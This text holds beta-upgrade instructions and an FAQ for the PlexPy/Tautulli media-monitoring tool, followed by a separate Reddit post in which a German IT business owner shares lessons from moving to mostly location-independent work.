Assuming you already have PlexPy installed using git, all you need to do is follow these steps:
  1. Backup your database! Go to the PlexPy Settings > General tab > Backup Database. You will need to restore this if something messes up. I'm not helping you if you mess up your database and you didn't create a backup.
  2. Shut down PlexPy by going to Settings > Shutdown.
  3. Using your shell/command line, run the following from the PlexPy folder:
    git fetch git checkout beta 
  4. Start Tautulli as normal.
  5. Post below if you find any bugs (include logs). Please don't post on GitHub issues or the Plex forum thread with bugs/issues from the beta test. If you do, I will laugh at you and delete your post.
    • Please read the issues guidelines before report any problems, and refer to the FAQ for common issues.
    • New features can be submitted on FeatHub (use the search to see if it has already been requested). Please read the feature request guidelines before requesting new features.
    • Join the Discord Server chat for faster help and general chit chat. (Note: the Gitter chat is no longer being used.)
If you want to revert back to the version of PlexPy before beta testing:
Warning: You will not be able to use your v2 database with v1!
  1. Shut down Tautulli by going to Settings > Shutdown.
  2. Restore your backed up plexpy.db file (it can be found in the backup folder).
  3. Using your shell/command line, run the following from the PlexPy folder:
    git checkout master 
  4. Start PlexPy as normal.
Buy me a coffee if you want to support the project! - PayPal | Bitcoin: 3FdfJAyNWU15Sf11U9FTgPHuP1hPz32eEN

Answers to your questions:

  • Why did you call it Tautulli?
    • Because it sounds cool and means "to watch or monitor" in Inuktitut.
  • I don't like the new name!
    • That's too bad. Also, that is not a question.
  • When will v2 be out of beta?
    • When I feel like there are no more major bugs with it. SoonTM.
  • Is there an iOS app?
    • No, there isn't. It costs money to be an iOS developer.
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Lessons learned from my journey into location independent work

As a new user to reddit and this sub, I thought it would be a good idea to give something back after lurking for a while. I am not identifying myself 100% as a digital nomad, but the term “digital nomad” is what sparked my interest, and started it all. My journey might be a bit different than the ones I read here before. Until recently, i never worked for a big company in a 9 to 5 job, so there was no escape needed.
This will be a collection of my “lessons learned”, in no particular order. I hope it might help some people who are thinking about starting the same journey. For me, it has been, first and foremost, a learning experience. Things which i thought would pose a major problem, were no problem at all. Other things, mostly concerning personal stuff, turned out to be a an issue where I never thought they would.
Myself: 35y, German, IT guy since age 15, owning small IT company the last 14 years, mostly small customers, on site support, the basics. Introvert with a few good friends, no affinity to social media. No coding skills besides some PowerShell commands and the odd PHP here and there.
With this background, I discovered the term “digital nomad” about 4 years ago. This sparked my interest: Traveling, working remote, no office, my own quiet place wherever I want it to be? I started to googling around, and found the 4-Hour Workweek pdf on some shady, russian server. I did not like it. Yes, the idea was valid, and no doubt, it worked for him. But the tone of “everybody who is not following their dreams and quit their job is doing it wrong” was not appealing to me. Having low income slaves helping me produce online stuff that nobody really needs was not my type of thing.
But the idea stuck, and I started to make a plan how to transition my work into something that can be “location independent”. Already working in IT, this seemed possible. After looking left and right about what others were suggesting (passive income, drop shipping, blogging, guides etc.), I quickly realized that this is not something I want to do. It might have worked, but it was just not my thing.
So I planned transitioning my current job, owner of a small IT shop, to allow location independence. As I was the owner, there was nothing stopping me, as I could basically do what I see fit, without asking someone. In the real world, it was a little bit more complicated. Even being the owner, I still was involved in a lot of hands on stuff. So while the typical german company owner seems to be busy counting money and deciding about which BMW to buy next, a was 100% involved in all the hands on stuff. Money was OK but not great, but starting to get better. Risking a customer base build over 15 years was nothing that I wanted to do.
I made a plan to have a “test run” for 2-3 month in Thailand. KohHub on Koh Lanta was what I selected. It worked out well, and I expanded it more and more, also switching to project work, away from my existing customers. I came to the realisation: Yes, it is possible, and No, it is not all positive.
The next and hardest step was to get a foothold in the corporate world. This was something completely new for me. And I was basically doing it the wrong way around: The “normal” career seems to be to start in a corporation, work up the corporate ladder, then after 20 years you can stand the bullshit anymore, and open your own little shop or freelance. For me it was the other way around.
I was completely surprised by what I experienced, expecting to meet a bunch of highly professional people, every one of them someone to look up to, to learn from. The opposite was true. I never knew that people could earn so much money for basically doing nothing productive all day. I could go on and on about that, but in the end, my fear that my skills where inadequate to play with the “big guys” was misguided. As my goal was still to get more and more location independent, it was a welcome surprise that nobody cared from where you work.
So right now, I would say that I am 85% digital nomad. :-) I still have a base in Germany, and I have to travel to customer sites once in a while. Besides that, location doesn’t matter.
Here are some lessons learned on the way. For most of them, I which someone had told me at the beginning. This is especially true if you doubt yourself a lot, and always think: “Can I do it?”. In most cases, the answer was YES, but it takes time to realize that.
Disclaimer: These are my thoughts, and you might disagree. That is fine. I am sharing my experiences, hoping that it might be of help to someone.
Some of your friendships will change
And this is a nice way to say it. Nobody is waiting for you at the airport to ask you about your trip. People go on with their lives. The first weeks, there might be some curiosity, but that will fade. The friends you stay in contact are the ones that you can count on.
You have to make an effort to see them once in a while. And with effort, I mean: I have to go to their place, not the other way around. Just because travelling is my thing, does not mean they feel the same. For most of me friends, the once in a year holiday is still the only travel they do. Asking them to “come over to $nice_sea_location for a week” won’t work.
The first reflex is to say: “OK, then these are the wrong friends.” But this is not true. There decision to have a 9-5 job, a family, a house, doesn’t change the friendship. And when shit will ever hit the fan, these are the ones I can trust. So i have to get my ass moving once in a while.
Networking works different than expected
As an introvert, thinking about being in a room full of unknown people to exchange business cards and “keep in touch” gives me the shivers. In the beginning, I thought this is something I have to endure. I attended some conferences, some business owner meetings, some networking events. I hated it. It is just not my thing. And I think if you don’t feel like home there, and sparkle of awesomeness, nothing good will come out of it.
Working on my own, with my own base of small customers, I never had much opportunity to network. This changed when I started freelancing for a bigger cooperation. Suddenly, you are surrounded by hundreds of people from different backgrounds, contractors, sub contractors, different branches, etc. All of them had a past company they worked for, and will have a future company they work for.
This opened up a multitude of opportunities. Just be doing good work, you will build your network. No awkward “networking events” required. This was, and still is, the major upside of working for a bigger corporation.
Technical issues are solvable
When I started the test run on Koh Lanta, I was worried about my setup. I need reliable phone connections, and must be able to use certain VPNs at the same time. Losing connection in a critical moment, or having bad voice quality, was unacceptable for me.
It turned out that my own perfectionism wasn’t shared by my customers. As long as they know that I am still reachable, nobody cared about a dropped call or a spotty TeamViewer session.
There has been much improvement in the last years, and remote audio, online conferencing, Skype 4 Business etc, they just work. While hip web teams have already transitioned away from normal phone calls, call in conferences are still the norm in “not so hip” companies. But this is now daily business, and someone joining a conference call from the other side of the world has become normal.
Sometimes this distance IS a problem
While I can access a server the same way from Tokyo and from Munich (by starting the VPN and Putty), there are situations where being not in the same room with the team will put you in a disadvantage.
In my small shop, this is mostly during stuff involving personal things. Not being there for the birthday sit in, not being there when someone had a car crash, not being there when they have a baby…
Yes, they know I will be reachable in seconds, we can have a video call. But in the end, it is not they same. I am not there, and I will not know what is spoken when the Skype call ended. There is some sense of disconnect, especially when you worked with your team for a long time, and have a very close relationship.
In the corporate environment, you need someone to relay all the gossip to you. Because a lot of informal talk will happen near the coffee machine, which you will miss. With everybody trying to improve their own, you might be left behind when a decision is due. Right now, doing good work seems to keep my boat floating, even without chit chat, so I don’t care so much.
Coworking spaces are overrated
While I am glad that I started my journey at KohHub (which I can highly recommend), I found that coworking spaces are not for me. My work does not improve having people in the same room doing stuff, or in most cases, talking about stuff they think they want to work on.
For me, for a coworking space to really shine above a glorified coffee shop, it would need:
When I look at KohHub and some other spaces, I can see that things are moving in that direction, so I am not the only one wishing for these kind of things.
Nice homes are underrated
Especially in south east asia, there seems to be a popular form of housing: The studio.
I did not know the meaning of the word, as in Germany, these places are called “one room place” or “Studentenbude (cheap place for students)”. Studio sounds more upscale. :-)
While I lived in a few nice Studios, I was clearly lying to myself about that being “the good life”. I like to work from my own room, as I really need to concentrate sometimes. I now save the money for coworking spaces. I get a nicer apartment from the beginning, and do daily trips to coffee shops if I feel like it.
For me, this made a huge difference. Having at least two rooms makes it possible to get some kind of routine, and separate work and private time. I know there are people who like to live in that 5$/day beach hut with a single light bulb on Koh Chang. That’s fine, but it is not for me.
Separation of work and private time gets harder
When I first read about the nomad lifestyle, I thought that some brief moments of work (on the beach, of course) will go hand in hand with party and cocktail drinking. Basically a holiday with checking eMails now and then. I already knew that this might not be the case, but 4 years ago, that was the image presented by dozens of articles and blogs.
While this might be the case for some, I suppose for the most people it will be: Work. Work, just at a different place. And while everybody at home thinks you are living the good live, I discovered that it is really easy to work more and more and more. There are no appointments, no closing of the office, no friends waiting outside to pick you up for the cinema.
I found myself working 16 hours without really noticing it, only leaving the apartment to get some dinner. This is not the way to go, and I am no forcing myself to separate work and private time, work out, go swimming, meet new people. After all, this is why I choose to be at a nice place to work.
There is no “community” in the way you might thought
You will not arrive in a coworking space, making new friends and find new business partners on the first day. If you, like me, need time to connect with people, it might take much longer. There are opportunities, and you will meet interesting people. But in the beginning, you are on your own.
I also met a number of totally clueless people who thought that just arriving at a nice island with some vague idea will kickstart the nomad life in no time. Well, it did not. What was most astounding to me: I still had facebook, and the image they were projecting home was totally different from what was actually happened. This might attract more people who think “everything will be easy once I arrive in $tropical_island.
Where the community can help you from the beginning, is navigating the local issues, like VISA requirements, help with your mobile SIM card, vehicle renting etc. But if you are prepared, and did some due diligence, you will already know a lot of these things.
Final thoughts
So, would i do it again? YES, absolutely. And if you are thinking about making the first steps, then do it. It might be for you, it might not be. But you have to try to know.
What would i have done different? Approach project work in a big corporation earlier. This opened a lot of doors really fast, and i should have done it earlier.
In the end, becoming a “85% nomad” was the right choice, and a great learning experience. Do not be fooled by the few people that claim to just kick start their passive income business from one day to the other. It takes time and effort to steer in the right direction. If someone happen to get lucky with trading or bitcoins, fine. But i think for most of us, who would like to transition to remote work, this involves hard work.
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